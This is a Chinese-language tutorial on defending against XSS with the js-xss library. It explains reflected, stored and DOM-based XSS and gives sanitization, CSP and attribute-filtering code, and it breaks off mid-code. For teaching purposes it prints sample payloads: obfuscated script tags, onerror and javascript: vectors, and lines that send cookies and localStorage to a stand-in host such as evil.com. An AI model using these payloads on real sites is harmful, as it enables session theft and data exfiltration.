JavaScript防御XSS攻击的过滤技术实战

部署运行你感兴趣的模型镜像

本文还有配套的精品资源,点击获取 menu-r.4af5f7ec.gif

简介:XSS(跨站脚本)攻击是Web安全中的常见威胁,通过在动态页面中注入恶意脚本窃取用户敏感信息。JavaScript过滤XSS是一种关键的防御手段,核心在于对用户输入内容进行HTML转义与安全过滤。本文介绍使用 js-xss 库实现高效防护的方法,该库通过 sanitize 函数自动转义 <script> 标签、事件属性和危险CSS表达式,并支持自定义白名单策略和回调函数(如 onTag onAttr ),灵活控制允许的HTML结构。通过实际示例展示如何阻止 javascript: 协议等攻击向量,在保障功能的同时提升应用安全性。
javascript过滤XSS

1. XSS攻击原理与常见场景

2.1 XSS攻击的类型与执行机制

跨站脚本攻击(XSS)本质是将恶意脚本注入网页并由浏览器执行。其核心成因是未对用户输入进行有效过滤或转义,导致HTML解析器误将数据当作代码执行。根据注入时机与持久性,XSS分为三类:反射型、存储型与DOM型。反射型通过URL传参触发,一次性危害;存储型则持久化保存于服务器,影响范围广;DOM型完全在客户端完成,绕过服务端防护,更具隐蔽性。理解其执行路径是构建纵深防御的前提。

2. JavaScript防御XSS的基本策略

在现代Web应用中,JavaScript作为客户端交互的核心语言,承担了大量动态内容渲染和用户行为响应的任务。然而,这种灵活性也为跨站脚本攻击(XSS)提供了可乘之机。攻击者通过构造恶意输入,在页面中注入并执行未经授权的脚本代码,从而窃取用户会话、篡改界面或发起进一步攻击。因此,仅依赖服务端防护已不足以应对复杂多变的前端安全挑战,必须构建以JavaScript为核心的多层次防御体系。

本章聚焦于JavaScript层面的XSS防御策略,深入剖析其技术实现路径与工程实践逻辑。从攻击机制的本质出发,系统性地梳理前端在面对不同类型XSS时的响应方式,并探讨如何通过编码规范、运行时控制以及浏览器机制协同来提升整体安全性。尤其值得注意的是,JavaScript本身既是XSS攻击的载体,也是实施防御的重要工具——合理使用其语言特性与DOM操作接口,可以在不牺牲用户体验的前提下有效阻断攻击链。

2.1 XSS攻击的类型与执行机制

XSS攻击根据其数据存储位置与触发方式的不同,通常分为三类:反射型、存储型和DOM型。这三种类型虽共用相同的攻击目标——即在受害者的浏览器中执行恶意脚本,但它们在传播路径、持久性和检测难度上存在显著差异。理解每种类型的执行机制,是制定针对性防御措施的前提。

2.1.1 反射型XSS的触发路径与利用方式

反射型XSS(Reflected XSS)是最基础且最常见的XSS形式之一。其核心特征是:恶意脚本作为请求参数的一部分被发送至服务器,服务器未进行充分过滤便将其“反射”回响应页面中,导致脚本在用户浏览器中执行。整个过程不具备持久化特点,攻击通常通过诱导用户点击特制链接完成。

典型的攻击流程如下:
1. 攻击者构造一个包含恶意脚本的URL,例如: http://example.com/search?q=<script>alert('xss')</script>
2. 用户被诱导点击该链接;
3. 服务器读取 q 参数并在HTML页面中直接输出,如未转义,则生成:
```html

您搜索的内容:

```
4. 浏览器解析该HTML,执行内嵌脚本,弹出警告框或其他更危险的操作。

此类攻击的关键在于 输入即输出 ,即用户输入未经处理就被嵌入到响应内容中。由于其依赖一次性请求,常用于钓鱼攻击或临时劫持会话令牌。

为说明其危害性,考虑以下Node.js Express示例:

const express = require('express');
const app = express();

app.get('/search', (req, res) => {
    const query = req.query.q || '';
    res.send(`
        <h1>搜索结果</h1>
        <p>您搜索的内容:${query}</p>
    `);
});

上述代码存在明显的反射型XSS漏洞。当 q 参数包含脚本标签时,将直接写入响应体并被执行。

修复方案:输出编码

正确的做法是对所有动态插入HTML的内容进行 上下文相关的输出编码 。例如,在HTML主体中应将 < 编码为 &lt; > 编码为 &gt; 等。

使用 he 库进行HTML实体编码:

const he = require('he');

app.get('/search', (req, res) => {
    const query = req.query.q ? he.escape(req.query.q) : '';
    res.send(`
        <h1>搜索结果</h1>
        <p>您搜索的内容:${query}</p>
    `);
});

逐行逻辑分析
- 第1行导入 he 库,提供可靠的HTML转义功能;
- 第3行获取查询参数 q ,若不存在则设为空字符串;
- 第4行调用 he.escape() 对用户输入进行HTML实体编码,确保特殊字符不会被解析为标签;
- 第5行安全地拼接进HTML模板,避免脚本注入。

此外,可通过设置HTTP头 Content-Security-Policy 限制内联脚本执行,形成纵深防御:

Content-Security-Policy: default-src 'self'; script-src 'self'

该策略禁止执行任何内联脚本(包括 <script> 标签和事件处理器),从根本上阻止反射型XSS生效。

防御手段 是否能阻止反射型XSS 实现层级 维护成本
输入验证 有限 前/后端
输出编码 强效 后端模板层
CSP策略 极强 HTTP响应头
WAF拦截 可靠但可能误报 网关层
graph TD
    A[用户访问恶意链接] --> B{服务器是否转义输出?}
    B -- 否 --> C[浏览器执行脚本 → XSS成功]
    B -- 是 --> D[显示纯文本内容 → 安全]
    D --> E[攻击失败]

此流程图清晰展示了反射型XSS的生命周期及其关键防御节点。可以看出,最有效的干预点位于“服务器响应生成”阶段,此时进行输出编码即可彻底切断攻击链条。

2.1.2 存储型XSS的数据持久化与传播特点

存储型XSS(Stored XSS)相较于反射型更具威胁性,因其攻击载荷被永久保存在目标服务器数据库中,一旦被加载便会自动执行,影响范围广且持续时间长。常见场景包括论坛帖子、评论系统、用户资料页等允许长期存储用户输入的功能模块。

其典型攻击路径如下:
1. 攻击者提交一段恶意脚本(如评论内容);
2. 服务端未过滤即存入数据库;
3. 其他用户浏览该页面时,服务器从数据库取出内容并渲染到HTML中;
4. 恶意脚本在受害者浏览器中执行,可能导致Cookie窃取、重定向或伪装操作。

举例来说,某博客系统的评论功能存在漏洞:

// 错误示例:直接存储原始输入
db.query('INSERT INTO comments (content) VALUES (?)', [userInput]);

随后在展示页面中直接输出:

<div class="comment">
    <%= comment.content %>
</div>

userInput <img src=x onerror=alert(document.cookie)> ,则每次有人查看评论都会触发脚本执行。

防御策略:服务端净化 + 客户端双重校验

理想的做法是在数据入库前进行严格净化。可以使用 js-xss 库对富文本内容进行白名单过滤:

const xss = require('xss');

function saveComment(content) {
    const cleanContent = xss.filterXSS(content); // 默认白名单过滤
    db.query('INSERT INTO comments (content) VALUES (?)', [cleanContent]);
}

同时,在前端渲染时也应再次确认内容安全性,尤其是在AJAX异步加载评论时:

fetch('/api/comments')
  .then(res => res.json())
  .then(comments => {
      comments.forEach(c => {
          const div = document.createElement('div');
          div.className = 'comment';
          div.innerHTML = xss.filterXSS(c.content); // 再次净化
          document.getElementById('comments-list').appendChild(div);
      });
  });

参数说明与逻辑分析
- xss.filterXSS() 默认启用标准白名单,仅允许 <a><strong><em> 等安全标签;
- 对 onerror 这类事件属性自动剥离;
- 即使后端漏掉某些情况,前端仍可拦截,实现“纵深防御”。

下表对比不同净化策略的效果:

净化方式 能否清除 <script> 能否保留格式 性能开销 适用场景
textContent 赋值 极低 纯文本展示
innerHTML +CSP ⚠️需配合CSP 动态内容
js-xss 过滤 ✅(部分) 中等 富文本编辑
正则替换 ❌易绕过 快速修补
sequenceDiagram
    participant Attacker
    participant Server
    participant Victim
    Attacker->>Server: 提交含XSS的评论
    Server->>Database: 存储未净化内容
    Victim->>Server: 请求页面
    Server->>Victim: 返回包含恶意脚本的HTML
    Victim->>Browser: 解析并执行脚本

该序列图揭示了存储型XSS的被动传播特性:受害者无需主动点击链接,只需正常浏览页面即可中招。因此,必须在 数据写入阶段 就完成净化,而非依赖客户端事后处理。

2.1.3 DOM型XSS的客户端脚本注入原理

DOM型XSS(DOM-based XSS)与其他两种XSS的最大区别在于: 整个攻击过程完全发生在客户端 ,服务器并不参与恶意内容的渲染。它利用JavaScript动态修改DOM结构或执行求值操作,将不可信数据当作可执行代码处理。

典型案例如下:

<script>
    const hash = location.hash.substring(1);
    document.getElementById('preview').innerHTML = hash;
</script>
<div id="preview"></div>

攻击者构造URL: http://site.com/#<img src=x onerror=stealCookies()>

当用户访问该地址时,JavaScript读取 location.hash 并直接插入DOM,触发 onerror 事件,造成XSS。

根本原因分析

该问题根源在于:
- 将 location.hash 视为可信输入;
- 使用 innerHTML 执行字符串到DOM的转换;
- 缺乏对HTML片段的安全性检查。

防御方法:避免高风险API + 安全替代方案

应优先使用安全的DOM操作方法,如 textContent

document.getElementById('preview').textContent = decodeURIComponent(hash);

若需支持HTML格式,则必须经过净化:

import { filterXSS } from 'xss';

const cleanHtml = filterXSS(hash);
document.getElementById('preview').innerHTML = cleanHtml;

或者使用 createContextualFragment 结合CSP:

const fragment = document.createRange().createContextualFragment(hash);
// 但仍需先净化,否则仍可注入script

以下表格列出常见危险函数及其安全替代:

危险函数 风险点 安全替代
eval() 执行任意代码 使用JSON.parse()或Function构造
setTimeout(string) 字符串求值 传入函数引用
innerHTML HTML注入 textContent 或净化后使用
document.write() 页面重写风险 使用DOM API
outerHTML innerHTML 同上
flowchart LR
    A[用户访问带恶意hash的URL] --> B[JS读取location.hash]
    B --> C{是否直接插入DOM?}
    C -- 是 --> D[执行恶意脚本]
    C -- 否 --> E[进行转义或净化]
    E --> F[安全显示内容]

综上所述,DOM型XSS强调的是“运行时信任边界”的失控。防御的关键在于始终假设所有来自URL、localStorage、API返回的数据均为不可信输入,必须经过验证与编码才能用于DOM操作。唯有建立“永不信任客户端输入”的编程哲学,方能在日益复杂的前端生态中守住安全底线。

3. js-xss库核心功能与sanitize函数使用

在现代Web应用开发中,用户生成内容(User Generated Content, UGC)已成为不可回避的组成部分。无论是社交媒体评论、论坛帖子、博客编辑器,还是企业级富文本输入场景,开发者都面临一个共同挑战:如何在保留HTML语义表达能力的同时,有效防止跨站脚本攻击(XSS)。 js-xss 是目前前端领域最为成熟和广泛使用的HTML净化库之一,其设计目标是通过结构化解析与白名单机制,在不牺牲用户体验的前提下实现安全的内容输出。

与其他简单的字符串替换或正则匹配方案不同, js-xss 采用基于HTML语法树的深度解析策略,确保对输入内容进行语义级别的分析与处理。这种机制能够识别并抵御多种绕过手段,如标签嵌套混淆、属性编码变形、注释插入等高级攻击技巧。更重要的是,该库提供了高度可配置的接口,允许开发者根据具体业务需求定制过滤规则,从而在安全性与功能性之间取得平衡。

本章节将深入剖析 js-xss 的内部架构与运行逻辑,重点讲解其核心函数 sanitize() 的工作机制,并结合实际代码示例展示参数控制、异常处理及高级配置的应用方法。通过对该库从底层到上层的全面解读,帮助开发者建立系统化的XSS防护思维,提升在复杂场景下的安全编码能力。

3.1 js-xss库的设计架构与运行机制

js-xss 并非简单的字符替换工具,而是一个完整的HTML净化引擎,其设计融合了编译原理中的词法分析、语法解析与语义校验思想。整个处理流程可以分为三个关键阶段:HTML解析 → 节点遍历与安全判定 → 安全重构输出。每一阶段都有明确的责任划分,构成了一个高内聚、低耦合的安全处理管道。

3.1.1 HTML解析器的工作流程与节点遍历逻辑

js-xss 使用自研的轻量级HTML解析器,该解析器不依赖浏览器原生DOM API,因此可在Node.js环境和浏览器环境中无缝运行。解析过程采用事件驱动模式,类似于SAX(Simple API for XML)模型,逐字符扫描输入字符串,识别出开始标签、结束标签、文本节点、注释节点等基本单元。

解析器的核心状态机维护当前读取位置、标签堆栈、属性缓冲区等上下文信息。当遇到 < 字符时,触发标签识别逻辑;若后续字符构成合法标签名,则进入“开始标签”状态,并继续收集属性键值对;遇到 > 表示标签闭合,此时生成对应的AST(Abstract Syntax Tree)节点对象。对于自闭合标签(如 <img /> ),解析器会自动识别并标记其类型。

以下是简化版的解析流程图:

graph TD
    A[开始解析] --> B{是否为<}
    B -- 是 --> C[判断是否为注释/CDATA/标签]
    C --> D[提取标签名称]
    D --> E[收集属性键值对]
    E --> F[生成AST节点]
    F --> G[推入节点栈]
    B -- 否 --> H[作为文本内容缓存]
    H --> I{是否为>}
    I -- 是 --> J[结束当前标签]
    J --> K[触发onTag钩子]
    K --> L[继续解析剩余内容]
    L --> M{是否有更多输入}
    M -- 是 --> B
    M -- 否 --> N[完成解析]

这一流程保证了即使面对恶意构造的碎片化标签(例如 <scr<script>ipt> ),也能正确还原其结构意图,避免传统正则表达式无法处理嵌套或断裂标签的问题。

解析阶段代码示例与逻辑分析
const xss = require('xss');

// 自定义onTag回调,用于观察解析过程
const options = {
  onTag: function (tag, html, options) {
    console.log(`[解析器] 处理标签: ${tag}, 原始HTML: ${html}`);
    // 可在此处干预标签行为
  }
};

const dirtyHtml = '<p onclick="alert(1)">Hello <b>World</b></p>';
const cleanHtml = xss.filterXSS(dirtyHtml, options);
console.log(cleanHtml); // 输出: <p>Hello <b>World</b></p>

代码逐行解读:

  • 第1行:引入 js-xss 模块,支持CommonJS规范。
  • 第4–8行:定义 onTag 回调函数,接收三个参数:
  • tag : 当前标签名称(如 ‘p’)
  • html : 包含该标签的原始HTML片段(如 ‘

    ‘)

  • options : 包含isClosing、position等上下文信息的对象
  • 第10–11行:构造包含恶意属性的测试HTML。
  • 第12行:调用 filterXSS 方法执行净化,传入选项对象。
  • 第13行:输出结果,可见 onclick 属性已被移除。

此示例展示了解析器如何捕获每一个标签的出现时机,并为后续过滤提供上下文支持。值得注意的是, onTag 在每个开始标签和结束标签处都会被调用一次,便于实现复杂的条件判断逻辑。

参数 类型 描述
tag string 标签名(小写化后)
html string 原始HTML片段
options.isClosing boolean 是否为结束标签
options.position number 在原始字符串中的起始位置
options.sourcePosition object 起止偏移量详细信息

该机制使得开发者可以在不影响整体性能的前提下,精确掌控每个标签的处理方式。

3.1.2 标签与属性的安全性判定模型

在完成HTML解析后, js-xss 进入安全性判定阶段。这一阶段的核心是白名单驱动的访问控制模型,所有标签与属性必须显式出现在白名单中才能被保留。默认情况下,库内置了一套保守的安全白名单,涵盖常用排版标签(如 p , br , strong )和基本属性(如 href , title )。

判定逻辑遵循以下优先级顺序:

  1. 标签白名单检查 :首先判断当前标签是否属于允许列表;
  2. 属性映射查找 :若标签允许,则查询其对应允许的属性集合;
  3. 属性值验证 :对每个属性值执行协议检查(如禁止 javascript: )、正则匹配或自定义校验函数;
  4. 回调干预 :调用 onAttr 钩子,允许动态修改或拒绝属性。

例如,对于 <a href="javascript:alert(1)">Click</a> ,处理流程如下:

  • 发现 <a> 标签 → 白名单允许
  • 查找 a 的允许属性 → 包含 href
  • 检查 href 值 → 匹配到 javascript: 协议 → 自动清除
  • 最终输出 <a>Click</a>

该模型的关键优势在于其分层决策机制,避免了“一刀切”的粗暴过滤,同时具备足够的灵活性应对特殊业务需求。

安全判定流程表
步骤 判定对象 判定依据 动作
1 标签名 默认/自定义白名单 允许或丢弃整标签
2 属性名 标签-属性映射表 保留或忽略该属性
3 属性值 内建规则(协议检测)或正则 清除危险值或转义
4 上下文 onAttr回调返回值 返回null则过滤,否则保留

此外, js-xss 支持属性值的上下文感知校验。比如 img[src] 仅允许HTTP(S)协议,而 a[href] 还可接受 /relative/path mailto: 等合法协议。这种细粒度控制显著提升了安全性。

3.1.3 默认白名单策略的组成与安全性分析

js-xss 的默认白名单经过长期实践验证,旨在满足大多数内容展示场景的基本需求,同时最大限度减少攻击面。其标签集合主要包括:

  • 文本格式化: p , br , strong , em , u , s , sup , sub
  • 列表结构: ul , ol , li , dl , dt , dd
  • 链接与引用: a , blockquote
  • 多媒体: img , figure , figcaption
  • 表格: table , thead , tbody , tr , th , td
  • 代码块: pre , code

对应的属性白名单则更加谨慎,仅开放必要的功能性属性:

const defaultWhiteList = {
  a: ['href', 'title', 'target'],
  img: ['src', 'alt', 'title', 'width', 'height'],
  p: ['style'], // style需进一步校验
  span: ['class'],
  div: ['class']
};

特别地, style 属性虽被允许,但其值会受到严格限制——仅允许安全的CSS属性(如 color , font-size ),并禁用 expression() , url() 等可能触发脚本的行为。这通过内置的CSS解析器实现,而非简单黑名单过滤。

安全性评估矩阵
攻击类型 是否防御 说明
<script>alert()</script> script不在白名单,直接删除
<img src=x onerror=alert()> onerror非允许属性,剥离
<a href="javascript:alert()">Link</a> javascript协议被清除
<style>@import url(javascript:...)</style> CSS parser拦截非法导入
<<script>>alert()<</script>> 解析器识别无效嵌套,视为文本

综上所述, js-xss 的默认策略体现了“最小权限原则”,即只授予完成任务所必需的最少权限。对于大多数应用场景而言,开箱即用即可提供可靠防护。然而,在涉及富文本编辑器、Markdown渲染等复杂场景时,仍需通过扩展白名单或注册回调函数来实现精细化控制。

3.2 sanitize函数的基本用法与参数控制

sanitize() 函数是 js-xss 库对外暴露的主要接口,负责接收原始HTML字符串并返回净化后的安全版本。其设计简洁但功能强大,支持丰富的配置选项,使开发者能够在保持语义完整性的同时实施精准过滤。

3.2.1 字符串输入的标准化处理流程

sanitize 函数首先对接收的字符串进行预处理,包括去除非标准空白字符、解码HTML实体、规范化标签大小写等操作。这些步骤确保后续解析不会因编码差异导致误判。

例如,输入 "&lt;script&gt;alert(1)&lt;/script&gt;" 会被自动解码为 <script>alert(1)</script> ,然后进入解析阶段。同样,混合大小写的标签如 <ScRiPt> 也会被统一转换为小写 script ,以便准确匹配白名单。

该过程由内部的 Parser.prototype.parse() 方法完成,其执行顺序如下:

  1. 移除BOM头(\uFEFF)
  2. 替换 \r\n \n 统一行尾
  3. 解码命名实体(如 < → <)和数字实体(< → <)
  4. 删除控制字符(C0/C1块中除制表符、换行符外的不可见字符)

这些预处理措施增强了库的鲁棒性,使其能应对各种畸形输入。

示例代码:测试不同编码输入的处理效果
const xss = require('xss');

const inputs = [
  '&lt;script&gt;alert(1)&lt;/script&gt;',
  '&#x3C;img src=x onerror=alert(1)&#x3E;',
  '<ScRiPt>alert(1)</ScRiPt>'
];

inputs.forEach(input => {
  const output = xss(input);
  console.log(`输入: ${input}`);
  console.log(`输出: ${output}\n`);
});

执行结果:

输入: &lt;script&gt;alert(1)&lt;/script&gt;
输出: alert(1)

输入: &#x3C;img src=x onerror=alert(1)&#x3E;
输出: <img src="x">

输入: <ScRiPt>alert(1)</ScRiPt>
输出: alert(1)

可见,无论采用何种编码形式,最终都能被正确净化。尤其是第二个例子中,十六进制实体被成功解析,且 onerror 属性被剥离,体现出强大的反混淆能力。

3.2.2 过滤结果的结构保持与语义完整性

优秀的净化库不仅要阻止攻击,还需尽量保留原始内容的可读性和布局结构。 js-xss 在这一点上表现出色,它不会简单地删除所有HTML标签,而是选择性保留安全元素,从而维持文档的视觉层次。

例如,一段包含加粗、斜体和段落的文本:

<p><strong>重要通知:</strong><em>请勿点击未知链接。</em></p>

sanitize() 处理后仍保持完整结构:

<p><strong>重要通知:</strong><em>请勿点击未知链接。</em></p>

因为 p , strong , em 均在默认白名单中。相比之下,若使用 .replace(/<.*?>/g, '') 此类暴力清除法,则会导致信息丢失。

更进一步, js-xss 支持标签重写功能。例如可将 b 标签自动转换为 strong ,以符合语义化标准:

const options = {
  onTag: function(tag, _, opts) {
    if (tag === 'b' && !opts.isClosing) {
      return { tagName: 'strong', keep: true };
    }
  }
};

这种方式既保障了兼容性,又推动了HTML语义最佳实践。

3.2.3 异常输入的容错机制与日志输出

面对严重损坏或恶意构造的HTML, js-xss 采用了宽容解析策略(forgiving parsing),类似于浏览器的容错渲染机制。即使输入存在未闭合标签、错误嵌套等问题,解析器仍会尽力恢复有效结构。

例如:

<div><p>第一段<br>第二段</div>

虽然缺少 </p> ,但库仍能正确闭合标签并生成合理DOM结构:

<div><p>第一段<br>第二段</p></div>

此外,通过设置 log 选项,开发者可启用调试日志,记录被过滤的标签与属性:

const options = {
  log: console
};

xss('<p onclick="alert()">Dangerous</p>', options);
// 控制台输出: [xss] filtered tag attribute: onclick

该功能在生产环境中可用于审计可疑输入,辅助发现潜在攻击尝试。

3.3 高级配置项的应用实践

除了基础过滤外, js-xss 提供多个高级配置项,用于微调净化行为,适应多样化业务场景。

3.3.1 allowComment、stripIgnoreTag等选项的作用

配置项 类型 默认值 作用
allowComment boolean false 是否保留HTML注释
stripIgnoreTag boolean/string true 如何处理非白名单标签:
true: 删除标签但保留内容
false: 保留完整标签
‘comment’: 转为注释

示例:允许保留注释用于调试

const html = '<!-- secret-key: abc123 --><p>Visible content</p>';
const result = xss(html, { allowComment: true });
console.log(result); // 包含注释

stripIgnoreTag: false 可用于灰盒测试环境,便于追踪原始输入。

3.3.2 stripHtmlChars对特殊字符的处理策略

当设置 stripHtmlChars: true 时,库会移除所有HTML元字符(如 < , > , & )的裸露实例,防止它们被意外解释。这对于纯文本字段尤其有用。

xss('1 < 2 & 3 > 1', { stripHtmlChars: true }); 
// 输出: '1  2   3  1'

反之,若希望保留这些字符作为文本显示,应设为 false 或使用 escapeHtml() 单独处理。

3.3.3 自定义escape函数扩展输出安全性

可通过 escapeHtml 配置项替换默认的转义函数,实现更严格的编码策略:

const options = {
  escapeHtml: (text) => {
    return text
      .replace(/&/g, '&amp;')
      .replace(/</g, '&lt;')
      .replace(/>/g, '&gt;')
      .replace(/"/g, '&quot;')
      .replace(/'/g, '&#x27;');
  }
};

此功能适用于需要符合特定合规标准(如SOC2、GDPR)的系统,确保输出始终处于“双重保护”状态。

综上, js-xss 不仅是一款实用工具,更是一套完整的安全工程解决方案。掌握其核心机制与配置技巧,是构建健壮Web应用不可或缺的能力。

4. 常见XSS攻击模式识别与转义处理

在现代Web应用中,跨站脚本(XSS)攻击依然是威胁用户安全的核心漏洞之一。尽管前端框架和内容安全策略(CSP)的普及提升了整体防御能力,但攻击者不断演进其绕过手段,利用HTML结构的灵活性、编码混淆机制以及浏览器解析差异实施隐蔽注入。因此,深入理解常见的XSS攻击模式,并掌握有效的转义与清理技术,是构建高安全性富文本系统的必要前提。本章将系统性地剖析典型XSS攻击的技术特征,重点分析恶意标签嵌入、事件处理器滥用及编码混淆等关键攻击路径,结合实际案例与代码实现,展示如何通过结构化解析与多层过滤机制进行精准识别与有效阻断。

4.1 恶意脚本嵌入的典型特征分析

恶意脚本嵌入是XSS攻击中最直接且危害最大的形式之一。攻击者通过构造特殊格式的HTML片段,试图在目标页面中执行任意JavaScript代码。这类攻击往往不依赖复杂的逻辑,而是利用开发者对输入内容的信任或过滤规则的疏漏。为了有效防范此类风险,必须从标签类型、属性组合、语法变形等多个维度建立识别模型。

4.1.1 script标签的变形绕过手段(如大小写混淆、注释插入)

<script> 标签作为最典型的脚本执行载体,通常被各种净化库列为默认黑名单项。然而,攻击者常通过语法变形来规避简单的字符串匹配检测。例如,使用大小写混合的方式:

<ScRiPt>alert(1)</ScRiPt>

这种写法在HTML解析过程中依然会被浏览器正确识别为脚本标签,因为HTML标签名本身是不区分大小写的。此外,攻击者还可能在标签内部插入注释以打断正则表达式匹配:

<script/*comment*/>alert('xss')</script>

甚至更复杂的形式:

<sCr<!-- x -->ipt src="data:text/javascript,alert(1)"></scRipt>

这些技巧旨在干扰基于固定模式的过滤逻辑,尤其是那些仅依赖 indexOf('<script>') === -1 或简单正则 /\<script/i 的初级防护机制。

防御策略:结构化解析优于字符串匹配

要应对上述变形,必须放弃基于字符串查找的粗粒度过滤方式,转而采用结构化的HTML解析器逐节点分析。以下是一个使用 js-xss 库进行安全过滤的示例:

const xss = require('xss');

const dirtyInput = '<sCr<!-- x -->ipt src="data:text/javascript,alert(1)"></scRipt>';
const cleanOutput = xss.filterXSS(dirtyInput);

console.log(cleanOutput); // 输出: ''

代码逻辑逐行解读:

  • 第1行:引入 xss 模块,该模块内置了完整的HTML词法分析器。
  • 第3行:定义一个包含注释插入和大小写混淆的恶意输入字符串。
  • 第4行:调用 filterXSS 方法,该方法会启动内部解析流程,对输入进行分词、标签识别、属性提取等操作。
  • 第6行:输出结果为空字符串,说明 <script> 标签已被成功拦截。

参数说明:
- dirtyInput :原始未受信的用户输入,模拟攻击载荷。
- cleanOutput :经过白名单过滤后的安全输出,仅保留允许的标签与属性。

该过程的核心优势在于它不是简单地“查找并替换”,而是通过构建DOM-like树结构,精确判断每个标签的真实语义,从而有效识别所有变体形式的 <script> 标签。

graph TD
    A[原始输入字符串] --> B{是否可解析为HTML?}
    B -->|否| C[返回空或转义文本]
    B -->|是| D[启动词法分析器]
    D --> E[生成Token流]
    E --> F[构建抽象语法树AST]
    F --> G[遍历每个节点]
    G --> H[检查标签是否在白名单]
    H -->|否| I[丢弃节点]
    H -->|是| J[检查属性白名单]
    J --> K[生成安全HTML]
    K --> L[输出净化后内容]

图:js-xss库的HTML解析与过滤流程

此流程确保即使面对高度混淆的输入,也能准确还原其结构含义,避免因表象变化导致的误判。

4.1.2 style标签内expression和behavior属性的利用

除了 <script> 外,CSS样式标签 <style> 和内联样式中的特定属性也可被用于执行脚本,尤其是在旧版IE浏览器中。其中最具代表性的是 expression() 函数和 behavior 属性:

<style>
  body { background-image: url(javascript:alert('xss')); }
</style>

<div style="width: expression(alert('xss'));">XSS</div>

<div style="behavior: url(xss.htc)">exploit</div>

虽然现代主流浏览器已禁用 expression() behavior ,但在某些遗留系统或兼容模式下仍可能存在风险。更重要的是,部分前端净化库若未显式禁止这些属性值,则可能导致潜在执行路径残留。

安全过滤实践:属性值级别的正则校验

针对此类问题,需在属性值层面实施深度检查。js-xss 提供了 onAttr 回调机制,可用于拦截并修改特定属性行为:

function onStyleAttr(tag, name, value, isWhiteAttr) {
  if (name === 'style') {
    // 禁止 url(javascript:...) 和 expression(...)
    if (/url\s*\(\s*['"]?\s*javascript:/i.test(value)) {
      return null; // 过滤该属性
    }
    if (/expression\s*\(/i.test(value)) {
      return null;
    }
    if (/behavior\s*:/i.test(value)) {
      return null;
    }
    return `${name}="${value}"`; // 合法则保留
  }
}

const options = {
  onAttr: onStyleAttr,
};

const input = '<div style="width: expression(alert(1)); color: red;">Malicious</div>';
const output = xss.filterXSS(input, options);

console.log(output); // <div style="color: red;">Malicious</div>

代码逻辑逐行解读:

  • 第1–10行:定义 onStyleAttr 回调函数,专门处理 style 属性。
  • 第4–9行:使用正则检测三种危险模式,一旦匹配即返回 null ,表示删除该属性。
  • 第12–14行:配置选项并调用 filterXSS
  • 第17行:输出结果显示危险属性已被清除,仅保留安全部分。

参数说明:
- tag : 当前标签名称(如 div
- name : 属性名(如 style
- value : 属性值(如 "width: expression(...)"
- isWhiteAttr : 是否属于白名单属性

该方法实现了细粒度控制,能够在不影响正常样式展示的前提下阻断脚本执行。

4.1.3 iframe、object、embed等容器标签的风险识别

嵌入式资源标签如 <iframe> <object> <embed> 常被用于加载外部内容,但也极易被滥用于钓鱼、点击劫持或间接执行脚本。例如:

<iframe src="javascript:alert('xss')" sandbox=""></iframe>
<embed src="data:text/html,<script>alert(1)</script>">
<object data="http://evil.com/xss.swf"></object>

特别是当允许 javascript: 协议作为 src data 属性值时,可直接触发脚本执行。此外,Flash、Silverlight 等插件虽已逐步淘汰,但在一些老系统中仍有存在。

风险控制:标签白名单 + 属性协议验证

推荐做法是严格限制此类标签的使用,除非业务明确需要。若必须支持,应结合协议白名单机制:

const whitelist = ['iframe'];
const allowedSrcDomains = ['https://trusted.com', 'https://youtube.com'];

function onIframeSrc(tag, name, value) {
  if (tag === 'iframe' && name === 'src') {
    try {
      const url = new URL(value);
      const fullUrl = url.origin + url.pathname;
      if (allowedSrcDomains.some(domain => fullUrl.startsWith(domain))) {
        return `${name}="${value}"`;
      }
      return null; // 非授信源则过滤
    } catch {
      return null; // 无效URL也过滤
    }
  }
}

const config = {
  whiteList: {
    iframe: ['src', 'width', 'height', 'frameborder'],
  },
  onAttr: onIframeSrc,
};

const malicious = '<iframe src="javascript:alert(1)" width="100"></iframe>';
const safe = xss.filterXSS(malicious, config);

console.log(safe); // 输出: <iframe width="100"></iframe>

表格:常见嵌入标签及其风险等级

标签 典型用途 执行风险 推荐策略
<iframe> 嵌入网页 限定可信域名,启用 sandbox
<object> 插件/多媒体 禁用或严格审查 data 属性
<embed> 多媒体资源 禁止 data:text/html 类型
<video> 视频播放 允许,但限制 src 协议
<audio> 音频播放 允许

该方案通过运行时动态验证,确保只有来自可信源的内容才能被加载,极大降低供应链攻击风险。

4.2 事件处理器属性的注入检测

事件处理器属性如 onclick onmouseover 等,允许开发者绑定JavaScript代码响应用户交互。然而,它们也成为XSS攻击的主要入口点之一。由于这些属性本质上是“内联脚本”,任何未经验证的值都可能导致任意代码执行。

4.2.1 onmouseover、onclick等事件属性的执行风险

攻击者常在允许富文本的场景中插入带有事件监听的元素:

<img src="x" onerror="alert(1)">
<div onclick="fetch('/steal-cookie?c='+document.cookie)">点击我</div>
<button onmouseover="document.location='http://evil.com/log?d='+btoa(JSON.stringify(localStorage))">悬浮查看优惠</button>

这类攻击无需用户主动点击 <script> ,只需触发自然事件(如图片加载失败、鼠标悬停)即可执行恶意逻辑。

防护机制:全局禁用或条件放行

默认情况下,所有以 on 开头的属性均应列入黑名单。js-xss 默认白名单中不包含任何事件属性,因此以下输入将自动被清理:

const input = '<img src="x" onerror="alert(1)" onload="console.log(2)">';
const output = xss.filterXSS(input);

console.log(output); // <img src="x">

若业务确实需要支持某些交互行为(如管理后台),可通过自定义白名单谨慎开放:

const customWhitelist = {
  img: ['src', 'alt'],
  button: ['onclick'], // 显式允许
};

// 结合权限判断
function secureOnClick(tag, name, value) {
  if (tag === 'button' && name === 'onclick') {
    // 只允许预定义函数调用
    if (/^callAction\(['"][a-z]+['"]\)$/.test(value.trim())) {
      return `onclick="${value}"`;
    }
    return null;
  }
}

const result = xss.filterXSS(
  '<button onclick="callAction(\'submit\')">Submit</button>',
  { whiteList: customWhitelist, onAttr: secureOnClick }
);

console.log(result); // <button onclick="callAction('submit')">Submit</button>

该设计体现了最小权限原则——仅允许特定格式的调用,防止自由拼接脚本。

4.2.2 javascript:伪协议在href和src中的隐蔽植入

javascript: 伪协议是一种经典的XSS载体,广泛用于 <a> <img> 标签中:

<a href="javascript:alert(document.domain)">点击领取红包</a>
<img src="javascript:eval(atob('YWxlcnQoJ1hTUycp'))">

此类链接在点击或加载时立即执行代码,极具欺骗性。

协议过滤:强制HTTPS/http白名单

最佳实践是在属性级别拦截非安全协议:

function sanitizeHref(tag, name, value) {
  if (name === 'href' || name === 'src') {
    if (!value || typeof value !== 'string') return null;

    const protocol = value.split(':')[0].toLowerCase();
    if (['http', 'https', 'mailto', 'tel'].includes(protocol)) {
